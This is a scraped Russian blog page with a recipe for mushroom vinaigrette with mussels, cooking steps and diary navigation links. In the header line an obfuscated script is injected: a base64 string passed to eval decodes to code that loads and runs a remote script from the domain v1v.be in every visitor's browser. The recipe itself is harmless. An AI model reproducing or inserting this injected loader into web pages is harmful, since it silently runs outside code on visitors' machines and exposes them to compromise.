Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1wYXIiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Грибной винегрет с мидиями
Ингредиенты: Грибы солёные или маринованные – 150 г; Картофель среднего размера – 5 клубней; Крупная морковь – 1 шт; Свекла некрупная – 1 шт; Мидии – 100 г; Цельное молоко – 0,5 л; Лук репчатый, средних размеров – 2 шт; Яблочный уксус – ¼ стакана; Растительное масло – ½ стакана; Сахар – 1 ч.л; Молотый чёрный перец, свежая зелень для украшения; Перец душистый чёрный – 10 горошин; Маринованные или солёные огурцы – 3 шт. Приготовление: Воду или молоко налить в кастрюлю и вскипятить. В кипящее молоко положить перец горошком и мидии. Варить их до полной готовности примерно 10 минут. Затем воду слить, а мидиям дать остыть и мелко порезать. Грибы выложить в дуршлаг, чтобы слить маринад и через некоторое время нарезать тонкими ломтиками. Овощи предварительно тщательно промыть водой, применяя мягкую щётку. Вымытые свеклу, картофель, морковь, отварить до готовности, желательно вместе, таким образом сохраняется больше витаминов и полезных веществ. Затем поставить остывать. После того, как овощи остынут, удалить с них кожуру. Очищенные овощи нарезать кубиками помельче. Лук почистить от шелухи и порезать прозрачными полукольцами или кольцами. Огурцы нарезать тонкой соломкой. Подготовленные таким образом овощи переложить в глубокую ёмкость и, добавив соль, перемешать. Затем заправить нерафинированным маслом, уксусом, добавить сахар и молотый перец. Эти ингредиенты можно смешать отдельно и после этого заправлять салат. Всё хорошо перемешать. Готовый винегрет переложить в салатник и украсить свежей зеленью, отрывая от них мелкие веточки. При желании мидии в таком винегрете можно заменить на балык из рыбы, также можно добавить в салат консервированные оливки, а уксус заменить выжатым лимонным соком. А если компоненты не перемешивать, а выложить слоями, полив соусом из масла уксуса и специй, получится очень красочная подача к праздничному столу. ЧИТАТЬ ДАЛЬШЕ>>>
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |